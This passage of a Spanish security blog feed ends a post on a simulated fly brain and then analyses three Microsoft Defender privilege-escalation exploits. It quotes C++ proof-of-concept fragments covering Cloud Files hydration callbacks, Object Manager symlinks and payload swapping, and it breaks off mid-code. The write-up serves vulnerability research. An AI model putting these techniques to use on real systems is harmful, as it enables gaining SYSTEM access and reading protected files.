Una señal puede ser inyectada en el circuito equivocado. Una acción puede ser reinterpretada por el actuador. Y si además existe aprendizaje o memoria persistente, podemos empezar a pensar en problemas parecidos a &lt;em&gt;state poisoning&lt;/em&gt; o manipulación del entorno de entrenamiento.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Para alguien que viene del red teaming, esto resulta bastante familiar. Solo hemos cambiado el objeto atacado. Ya no estamos haciendo &lt;em&gt;prompt injection&lt;/em&gt; contra un chatbot. Estamos intentando encontrar qué ocurre cuando conseguimos que una criatura artificial perciba una cosa que no existe, deje de percibir una que sí existe o ejecute una acción distinta de la que produciría en condiciones normales.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y eso puede convertirse en un campo bastante interesante si estos sistemas dejan de ser únicamente experimentos de laboratorio y empiezan a controlar robots, drones, dispositivos autónomos o interfaces con el mundo físico.&lt;/p&gt;&lt;h2&gt;De la mosca a algo bastante más grande&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaNwfAh4wxBx_X64Vzklegf-5VN-62GiYkUD3FuDGZQ1CNFcFea32wQzMNNp2LRW_TO13Ued-nuqhDsyp-OSX62JcHSKQ0lo2t2SM4nOZZ3DyAMqbGxF82OUWcNrbVIS9qbitDKxmxeDxI8IWDGeQgyQplbyFJGAASsT5AObGF6JJ1takXfn59zjcBdDVC/s2304/brainai.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2304&quot; data-original-width=&quot;1664&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaNwfAh4wxBx_X64Vzklegf-5VN-62GiYkUD3FuDGZQ1CNFcFea32wQzMNNp2LRW_TO13Ued-nuqhDsyp-OSX62JcHSKQ0lo2t2SM4nOZZ3DyAMqbGxF82OUWcNrbVIS9qbitDKxmxeDxI8IWDGeQgyQplbyFJGAASsT5AObGF6JJ1takXfn59zjcBdDVC/s320/brainai.jpg&quot; width=&quot;231&quot; /&gt;&lt;/a&gt;&lt;/div&gt;No conviene sacar de aquí la conclusión de que estamos a punto de simular un cerebro humano. Estamos absurdamente lejos.&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La escala, la complejidad y la riqueza dinámica del sistema nervioso humano hacen que la mosca y nosotros juguemos en ligas completamente distintas. Incluso dentro de la mosca, reconstruir el cableado no equivale a reconstruir toda su biología.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Pero hay algo que sí ha cambiado. Hasta hace relativamente poco, estudiar un cerebro significaba observarlo y tratar de inferir qué estaba haciendo. Ahora empezamos a disponer de mapas de conectividad lo suficientemente completos como para reconstruirlos computacionalmente, experimentar con ellos y conectarlos a entornos artificiales.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ese cambio es mucho más profundo de lo que sugiere una mosca volando alrededor de una mesa mediante realidad aumentada.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Porque por primera vez podemos empezar a hacer una pregunta que se parece más a ingeniería que a neurociencia tradicional:&amp;nbsp;&lt;strong&gt;¿qué ocurre si ejecutamos el circuito?&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Podemos modificar entradas. Podemos observar salidas. Podemos eliminar conexiones. Podemos introducir perturbaciones. Podemos comparar comportamientos. Podemos conectar el sistema a mundos diferentes y estudiar qué propiedades aparecen sin haberlas programado explícitamente una por una.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En cierto sentido, estamos convirtiendo el cerebro de una mosca en un sistema que podemos &lt;em&gt;debuggear&lt;/em&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y para quienes llevamos años mirando sistemas desde el otro lado del teclado, eso tiene algo inevitablemente tentador.&lt;/p&gt;&lt;h2&gt;La pequeña mosca abre una puerta bastante grande&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por eso creo que merece la pena mirar más allá del titular de GPT-6 Astra y de la inevitable frase sobre una mosca que &quot;experimenta&quot; la realidad.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La noticia importante no es que una IA haya aprendido a hacer de mosca. Tampoco es que tengamos una consciencia artificial volando alrededor de nuestras cabezas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Lo interesante es que tenemos un mapa extraordinariamente detallado de un sistema nervioso biológico y estamos empezando a utilizarlo como arquitectura computacional, conectándolo a sensores, simulaciones y cuerpos virtuales para cerrar un bucle de percepción y acción. Eso es &lt;em&gt;embodied intelligence&lt;/em&gt; desde un ángulo bastante diferente al habitual.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y quizá sea precisamente ahí donde esté una de las líneas de investigación más interesantes de los próximos años. No necesariamente en construir modelos cada vez más grandes que sepan describir el mundo, sino en construir sistemas que puedan &lt;strong&gt;percibirlo, actuar sobre él y aprender las consecuencias de sus propias acciones&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La mosca no necesita saber qué es un transformer. Nosotros sí.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y mientras seguimos intentando enseñar a las máquinas a pensar como nosotros, quizá resulte que algunas de las respuestas interesantes estaban escondidas desde hace millones de años en un animal con unas 166.700 neuronas...&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/2025948044577416584/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/09/la-mosca-digital-que-tiene-un-cerebro.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2025948044577416584'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2025948044577416584'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/09/la-mosca-digital-que-tiene-un-cerebro.html' title='La mosca digital que tiene un cerebro conectado al mundo'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwqhCN2v0jxxrNQQ5VYGkdAXrsr4wnG3OXZrWq0yeHqelvqw9Se88QbO031kH6NW4cvAg4GuiIX4XJGLu1_E3lKqndCB9BqDH3rA-IuLNmGqlB5QLsmpH_6x_pJGS7eeEn9YBTLUPaeW5YO49TKIh_56vcTtqps_6PnWa0zyLORXkey6dQgFIiwuRBftBE/s72-c/conectoma.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-5722069242297431837</id><published>2026-09-09T01:05:55.079+02:00</published><updated>2026-09-09T01:10:52.548+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="exploits"/><category scheme="http://www.blogger.com/atom/ns#" term="poc"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidades"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>RoguePlanet, ShieldBreak y ShieldCrash: cuando Microsoft Defender se convierte en la palanca para elevar privilegios</title><content type='html'>&lt;div class=&quot;separator&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZV37DO4ZygXXjFymHToWMnw3zX2-IKRQrhEdrClBfElLw_nOBLZQSkDwHuqkgxqTn6nzjzsS-OKBIA0FrxRnP1FPVNTHAPDpdP2OWA3yd3R0P8TY8Q2ZZ4WsdTdwsEsZkQmmASQ9COG4FspTAYqA3b3DimfBcZJ8ChaRkcFxtrp6L_F9emkIvN7p_7Llh/s410/escudo_defender.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;410&quot; data-original-width=&quot;395&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZV37DO4ZygXXjFymHToWMnw3zX2-IKRQrhEdrClBfElLw_nOBLZQSkDwHuqkgxqTn6nzjzsS-OKBIA0FrxRnP1FPVNTHAPDpdP2OWA3yd3R0P8TY8Q2ZZ4WsdTdwsEsZkQmmASQ9COG4FspTAYqA3b3DimfBcZJ8ChaRkcFxtrp6L_F9emkIvN7p_7Llh/w123-h152/escudo_defender.png&quot; width=&quot;123&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Hay una pequeña historia que se ha desarrollado durante los últimos meses alrededor de Microsoft Defender y que merece bastante más atención de la que ha recibido. No porque tengamos tres vulnerabilidades aisladas en un producto de seguridad, sino porque RoguePlanet, ShieldBreak y ahora ShieldCrash muestran una evolución bastante interesante en la forma de atacar un componente especialmente privilegiado de Windows: en lugar de buscar directamente una primitiva de kernel o un servicio SYSTEM expuesto, el atacante intenta conseguir que el propio Defender haga por él una operación que normalmente no podría realizar.&lt;/div&gt;&lt;p&gt;El punto de partida fue RoguePlanet, CVE-2026-50656, una vulnerabilidad de elevación de privilegios en Microsoft Malware Protection Engine. Microsoft corrigió el problema con la versión 1.1.26060.3008 del motor, publicada el 30 de junio de 2026. La propia documentación de Microsoft identifica esa actualización como la corrección de CVE-2026-50656.&lt;/p&gt;&lt;p&gt;La PoC pública de RoguePlanet dejaba bastante claro el impacto: un usuario local sin privilegios podía llegar a obtener una shell SYSTEM. El propio autor describía el bug como una condición de carrera y advertía de que su fiabilidad dependía de la máquina. El código puede consultarse en &lt;a href=&quot;https://github.com/MSNightmare/RoguePlanet?utm_source=chatgpt.com&quot;&gt;MSNightmare/RoguePlanet&lt;/a&gt; y existe además una implementación independiente de análisis de CVE-2026-50656 en &lt;a href=&quot;https://github.com/0xBlackash/CVE-2026-50656?utm_source=chatgpt.com&quot;&gt;0xBlackash/CVE-2026-50656&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;La importancia de RoguePlanet no está únicamente en el bug concreto. Está en el modelo de ataque. Defender ejecuta código con privilegios elevados y procesa continuamente ficheros que el usuario puede crear o modificar. Eso significa que cualquier operación aparentemente inocua de comprobación, apertura, resolución o limpieza puede convertirse en una primitiva de elevación si existe una ventana en la que el atacante consiga cambiar la identidad real del objeto que Defender cree estar procesando.&lt;/p&gt;&lt;p&gt;En términos simplificados, el problema de fondo se parece a esto:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// Conceptualmente:
HANDLE h = OpenFile(attacker_controlled_path);

// Defender valida el objeto al que apunta el path...
Validate(h);

// ...pero existe una ventana temporal en la que
// el atacante puede modificar la resolución del path.

// Una operación posterior realizada con SYSTEM
// termina actuando sobre un objeto distinto.
PrivilegedOperation(h);
&lt;/code&gt;&lt;/pre&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p&gt;No es necesario que el atacante obtenga directamente el token de SYSTEM. Basta con conseguir que una operación realizada por SYSTEM termine apuntando a un objeto controlado o elegido por el atacante. Es la clásica combinación de resolución de nombres, condiciones de carrera y privilegios del &lt;em&gt;confused deputy&lt;/em&gt;, aplicada a un motor antivirus.&lt;/p&gt;&lt;p&gt;Microsoft cerró esa vía con el motor 1.1.26060.3008, pero el parche no eliminó el interés de la superficie de ataque. De hecho, poco después apareció &lt;b&gt;ShieldBreak&lt;/b&gt;, CVE-2026-69414, y aquí la historia se vuelve bastante más interesante.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMF6FMoz0UYs0QG9Aob368j8eOZyuLLain3P_GbYcuUJRVxgAElBxjS33t5pCqMjJjwGu3hA147Xwy9GSAOCpm7ZEBPRvrNkKEYTgH4_ZMERYs9J7KYanjPzYeADlaU83ZtTjq0RGFolZ39ax7d_Ck44nqbmjhGgyDXeZPvLLOhd6oE6qsMy8Ic5yykMij/s1024/escudo_roto2.png&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1024&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMF6FMoz0UYs0QG9Aob368j8eOZyuLLain3P_GbYcuUJRVxgAElBxjS33t5pCqMjJjwGu3hA147Xwy9GSAOCpm7ZEBPRvrNkKEYTgH4_ZMERYs9J7KYanjPzYeADlaU83ZtTjq0RGFolZ39ax7d_Ck44nqbmjhGgyDXeZPvLLOhd6oE6qsMy8Ic5yykMij/w200-h200/escudo_roto2.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;ShieldBreak no es simplemente una variante de RoguePlanet. La implementación pública es un &lt;a href=&quot;https://github.com/MSNightmare/ShieldBreak&quot; target=&quot;_blank&quot;&gt;PoC&lt;/a&gt; de unas 1.400 líneas y mezcla varias interfaces internas y subsistemas de Windows: &lt;code inline=&quot;&quot;&gt;MpClient.dll&lt;/code&gt;, las APIs del Malware Protection Engine, Cloud Files, CLFS, Object Manager y Windows Error Reporting. El código incluye explícitamente &lt;code inline=&quot;&quot;&gt;cfapi.h&lt;/code&gt;, &lt;code inline=&quot;&quot;&gt;taskschd.h&lt;/code&gt; y &lt;code inline=&quot;&quot;&gt;winternl.h&lt;/code&gt;, además de resolver dinámicamente funciones internas del motor de Defender.&lt;p&gt;&lt;/p&gt;&lt;p&gt;Por ejemplo, la PoC obtiene dinámicamente las funciones necesarias para iniciar un análisis y posteriormente acceder al flujo de detección y remediación:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;_MpManagerOpen = GetProcAddress(hm, &quot;MpManagerOpen&quot;);
_MpScanStart   = GetProcAddress(hm, &quot;MpScanStart&quot;);
_MpScanResult  = GetProcAddress(hm, &quot;MpScanResult&quot;);
_MpThreatOpen  = GetProcAddress(hm, &quot;MpThreatOpen&quot;);
_MpThreatEnumerate = GetProcAddress(hm, &quot;MpThreatEnumerate&quot;);
_MpCleanOpen   = GetProcAddress(hm, &quot;MpCleanOpen&quot;);
_MpCleanStart  = GetProcAddress(hm, &quot;MpCleanStart&quot;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Y posteriormente inicia un análisis sobre un recurso determinado:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;MPRESOURCE_INFO scaninfo = { 0 };
scaninfo.Scheme = (wchar_t*)L&quot;file&quot;;
scaninfo.Path = scan_target;

MPSCAN_RESOURCES scanrsrc = { 0 };
scanrsrc.dwResourceCount = 1;
scanrsrc.pResourceList = &amp;amp;scaninfo;

_MpScanStart(
    hbinding,
    MPSCAN_TYPE_RESOURCE,
    0x60004002,
    &amp;amp;scanrsrc,
    NULL,
    &amp;amp;scanctx
);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Esto es importante porque la PoC no intenta simplemente ejecutar código dentro de Defender. Utiliza el propio flujo legítimo de análisis como mecanismo para introducir al atacante en una operación privilegiada.&lt;/p&gt;&lt;p&gt;Una de las piezas más interesantes es Cloud Files. Windows proporciona mediante &lt;code inline=&quot;&quot;&gt;cfapi&lt;/code&gt; una infraestructura para que proveedores de almacenamiento implementen archivos &lt;em&gt;placeholder&lt;/em&gt; y operaciones de hidratación bajo demanda. Cuando Defender inspecciona uno de esos objetos puede provocar una petición de datos al proveedor correspondiente. La PoC registra un callback de Cloud Files y responde a determinadas solicitudes con contenido que forma parte de sus propios recursos embebidos.&lt;/p&gt;&lt;p&gt;El patrón aparece directamente en el código:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;void CALLBACK CLBK(
    CONST CF_CALLBACK_INFO* CallbackInfo,
    CONST CF_CALLBACK_PARAMETERS* CallbackParameters
) {
    LARGE_INTEGER offset =
        CallbackParameters-&amp;gt;FetchData.RequiredFileOffset;

    LARGE_INTEGER length =
        CallbackParameters-&amp;gt;FetchData.RequiredLength;

    // ...
    // CF_OPERATION_PARAMETERS
    // TransferData.Buffer = contenido controlado
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Es decir, el atacante no necesita que Defender abra directamente una DLL que él pueda modificar. Puede influir en el contenido que recibe Defender durante una operación de hidratación. Ese cambio de perspectiva es precisamente lo interesante de ShieldBreak: la primitiva no está en una función aislada, sino en la interacción entre un mecanismo de almacenamiento virtualizado y un consumidor privilegiado.&lt;/p&gt;&lt;p&gt;La segunda pieza importante es Object Manager. ShieldBreak utiliza directamente APIs nativas como &lt;code inline=&quot;&quot;&gt;NtCreateSymbolicLinkObject&lt;/code&gt; y &lt;code inline=&quot;&quot;&gt;NtCreateDirectoryObjectEx&lt;/code&gt;, obtenidas desde &lt;code inline=&quot;&quot;&gt;ntdll.dll&lt;/code&gt;. La propia PoC contiene wrappers alrededor de estas funciones:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;_NtCreateSymbolicLinkObject =
    GetProcAddress(
        ntdllhm,
        &quot;NtCreateSymbolicLinkObject&quot;
    );

_NtCreateDirectoryObjectEx =
    GetProcAddress(
        ntdllhm,
        &quot;NtCreateDirectoryObjectEx&quot;
    );
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;y construye objetos simbólicos mediante &lt;code inline=&quot;&quot;&gt;OBJECT_ATTRIBUTES&lt;/code&gt; y &lt;code inline=&quot;&quot;&gt;UNICODE_STRING&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;La razón de utilizar Object Manager en lugar de limitarse a symlinks del filesystem es que el exploit necesita manipular cómo determinados nombres son resueltos dentro del contexto en el que trabaja Defender. Es una capa bastante más baja que el clásico abuso de junctions o symbolic links de NTFS y permite construir una cadena en la que el nombre que Defender cree estar utilizando y el objeto que finalmente resuelve no son necesariamente equivalentes.&lt;/p&gt;&lt;p&gt;A partir de ahí entra CLFS. La PoC utiliza actividad del Common Log File System como mecanismo de sincronización para conseguir controlar el momento exacto en el que determinadas operaciones del flujo de Defender se producen. No estamos por tanto ante una única carrera sencilla del estilo &lt;code inline=&quot;&quot;&gt;check -&amp;gt; replace -&amp;gt; use&lt;/code&gt;; la explotación coordina varios subsistemas de Windows para crear una ventana suficientemente determinista.&lt;/p&gt;&lt;p&gt;Y aquí aparece la parte que convierte ShieldBreak en algo especialmente interesante desde el punto de vista de un investigador de vulnerabilidades: el objetivo final no es ejecutar código dentro de &lt;code inline=&quot;&quot;&gt;MsMpEng.exe&lt;/code&gt;. El objetivo es provocar una operación legítima de remediación que termine escribiendo bajo SYSTEM.&lt;/p&gt;&lt;p&gt;La PoC incorpora incluso recursos binarios dentro del propio ejecutable. El &lt;code inline=&quot;&quot;&gt;resource.h&lt;/code&gt; del proyecto define recursos para un ZIP, una DLL y un fichero WER:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#define IDR_ZIP1 101
#define IDR_DLL1 102
#define IDR_WER1 103
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;El código carga esos recursos con &lt;code inline=&quot;&quot;&gt;FindResource&lt;/code&gt;, &lt;code inline=&quot;&quot;&gt;LoadResource&lt;/code&gt; y &lt;code inline=&quot;&quot;&gt;LockResource&lt;/code&gt;, lo que permite que el exploit transporte los artefactos necesarios dentro del propio binario.&lt;/p&gt;&lt;p&gt;La cadena completa acaba consiguiendo que Defender, ejecutándose con SYSTEM, participe en la creación del artefacto que el atacante necesita. En las pruebas públicas aparece incluso &lt;code inline=&quot;&quot;&gt;phoneinfo.dll&lt;/code&gt; dentro de &lt;code inline=&quot;&quot;&gt;System32&lt;/code&gt;, y posteriormente el flujo de Windows Error Reporting permite utilizar ese artefacto dentro de una ejecución privilegiada. Es una forma especialmente elegante de convertir una operación de seguridad en una primitiva de escritura.&lt;/p&gt;&lt;p&gt;Aquí está la diferencia fundamental respecto a RoguePlanet. En RoguePlanet el atacante explotaba una carrera relacionada con la resolución del objeto. En ShieldBreak el atacante construye una cadena mucho más compleja en la que Cloud Files proporciona control sobre el contenido, CLFS proporciona sincronización y Object Manager proporciona control sobre la resolución de objetos, mientras que Defender aporta el privilegio necesario para completar la operación. El exploit no “rompe” SYSTEM; hace que SYSTEM trabaje para él.&lt;/p&gt;&lt;p&gt;Microsoft asignó CVE-2026-69414 a ShieldBreak y lo clasificó como una vulnerabilidad de elevación de privilegios en Microsoft Malware Protection Engine. La base de datos de GitHub recoge expresamente que Microsoft estaba trabajando en una actualización para solucionar el problema. La PoC original puede consultarse en &lt;a href=&quot;https://github.com/MSNightmare/ShieldBreak?utm_source=chatgpt.com&quot;&gt;MSNightmare/ShieldBreak&lt;/a&gt; y existe también una variante publicada en &lt;a href=&quot;https://github.com/1neptune/ShieldBreak?utm_source=chatgpt.com&quot;&gt;1neptune/ShieldBreak&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Y6MshbIubBH1Fx-YyeY0hSMf3Z3cPNy0OxGaW_5N6tr0RMBnjYzavVb4vf-nMp7iWqkVTz8zBDtEvxBgQhGLvvhyTCxF2FK7HzN_VB1hDzfIl8amjVbZBg_bbpmMiX7LXRXRVzcVrcUJ8M0kawAfBmORKuHWIzFj1XdgFV3b9vmsnBdrgWdGpGryoKc7/s1024/escudo_roto3.png&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1024&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Y6MshbIubBH1Fx-YyeY0hSMf3Z3cPNy0OxGaW_5N6tr0RMBnjYzavVb4vf-nMp7iWqkVTz8zBDtEvxBgQhGLvvhyTCxF2FK7HzN_VB1hDzfIl8amjVbZBg_bbpmMiX7LXRXRVzcVrcUJ8M0kawAfBmORKuHWIzFj1XdgFV3b9vmsnBdrgWdGpGryoKc7/w200-h200/escudo_roto3.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Y entonces llega &lt;b&gt;ShieldCrash&lt;/b&gt;.&lt;p&gt;&lt;/p&gt;&lt;p&gt;El 8 de septiembre aparece &lt;a href=&quot;https://github.com/MSNightmare/ShieldCrash?utm_source=chatgpt.com&quot;&gt;MSNightmare/ShieldCrash&lt;/a&gt;&amp;nbsp;y resulta bastante más interesante de lo que su README podría sugerir inicialmente. Microsoft corrigió varios de los elementos utilizados por ShieldBreak, pero dejó una ruta en la que, bajo determinadas condiciones, todavía es posible reproducir la primitiva original. La diferencia es que esta vez el autor no necesita llegar hasta una escritura privilegiada o una ejecución de código: la PoC demuestra una lectura arbitraria de archivos como SYSTEM. El propio README sigue describiéndola como un &lt;em&gt;skeleton PoC&lt;/em&gt; y deja abierta la posibilidad de convertirla posteriormente en una elevación completa.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Lo interesante es que el código confirma que no estamos ante una PoC conceptual. &lt;a href=&quot;https://github.com/MSNightmare/ShieldCrash/blob/main/ShieldCrash.cpp&quot;&gt;ShieldCrash.cpp&lt;/a&gt; tiene alrededor de 1.470 líneas y conserva prácticamente todos los ingredientes que hicieron posible ShieldBreak: &lt;code dir=&quot;ltr&quot;&gt;cfapi.h&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;winternl.h&lt;/code&gt;, acceso a las APIs internas de Malware Protection Engine, Cloud Files, Object Manager, oplocks y el mecanismo de hidratación. Incluso incorpora &lt;code dir=&quot;ltr&quot;&gt;Warden.dll&lt;/code&gt; y &lt;code dir=&quot;ltr&quot;&gt;eicar_com.zip&lt;/code&gt; como recursos del proyecto.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La primera diferencia importante aparece ya en la interfaz del programa. ShieldCrash recibe como argumento el fichero que quiere leer:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;if (argc &amp;lt; 2)
{
    printf(&quot;Usage : %ws &amp;lt;path_to_leak&amp;gt;\n&quot;, argv&lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[0]&lt;/span&gt;);
    return 1;
}

UNICODE_STRING symlinkftarget = { 0 };
_RtlDosPathNameToNtPathName_U_WithStatus(
    argv&lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[1]&lt;/span&gt;,
    &amp;amp;symlinkftarget,
    NULL,
    NULL
);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es una señal bastante clara de cuál es la primitiva que está intentando demostrar: no existe aquí un payload de ejecución como objetivo final, sino un &lt;code dir=&quot;ltr&quot;&gt;path_to_leak&lt;/code&gt; que acaba convertido a una representación NT y utilizado posteriormente en la cadena de redirección.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;A partir de ahí ShieldCrash vuelve a construir un entorno Cloud Files controlado por el proceso atacante. Crea un directorio &lt;code dir=&quot;ltr&quot;&gt;C:\ShieldCrash_&amp;lt;GUID&amp;gt;&lt;/code&gt;, le asigna ACLs que permiten acceso general y lo registra como un sync root. El código configura explícitamente una política de hidratación parcial y registra un callback &lt;code dir=&quot;ltr&quot;&gt;CF_CALLBACK_TYPE_FETCH_DATA&lt;/code&gt;:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.Hydration.Modifier =
    CF_HYDRATION_POLICY_MODIFIER_AUTO_DEHYDRATION_ALLOWED |
    CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;

CfRegisterSyncRoot(
    workdir.c_str(),
    &amp;amp;reg,
    &amp;amp;policies,
    CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT
);

CF_CALLBACK_REGISTRATION table&lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[2]&lt;/span&gt;;
table&lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[0]&lt;/span&gt; = { CF_CALLBACK_TYPE_FETCH_DATA, CLBK };
table&lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[1]&lt;/span&gt; = CF_CALLBACK_REGISTRATION_END;

CfConnectSyncRoot(
    workdir.c_str(),
    table,
    &amp;amp;attemptn,
    CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH |
    CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO,
    &amp;amp;key
);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La pieza crítica vuelve a ser &lt;code dir=&quot;ltr&quot;&gt;CLBK&lt;/code&gt;. Cuando Cloud Files solicita datos para hidratar el placeholder, la PoC no recupera el contenido de un backend remoto: devuelve directamente recursos embebidos en el ejecutable. En la primera petición proporciona &lt;code dir=&quot;ltr&quot;&gt;eicar_com.zip&lt;/code&gt; y posteriormente cambia a &lt;code dir=&quot;ltr&quot;&gt;Warden.dll&lt;/code&gt;:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;if (*RNA == 1) {
    opParams.TransferData.Buffer = pResourceData_zip;
    opParams.TransferData.Length.QuadPart = dwSize_zip;
    *RNA = 2;
}
else {
    opParams.TransferData.Buffer = pResourceData_dll;
    opParams.TransferData.Length.QuadPart = dwSize_dll;
}

opParams.TransferData.CompletionStatus = STATUS_SUCCESS;

opInfo.Type = CF_OPERATION_TYPE_TRANSFER_DATA;

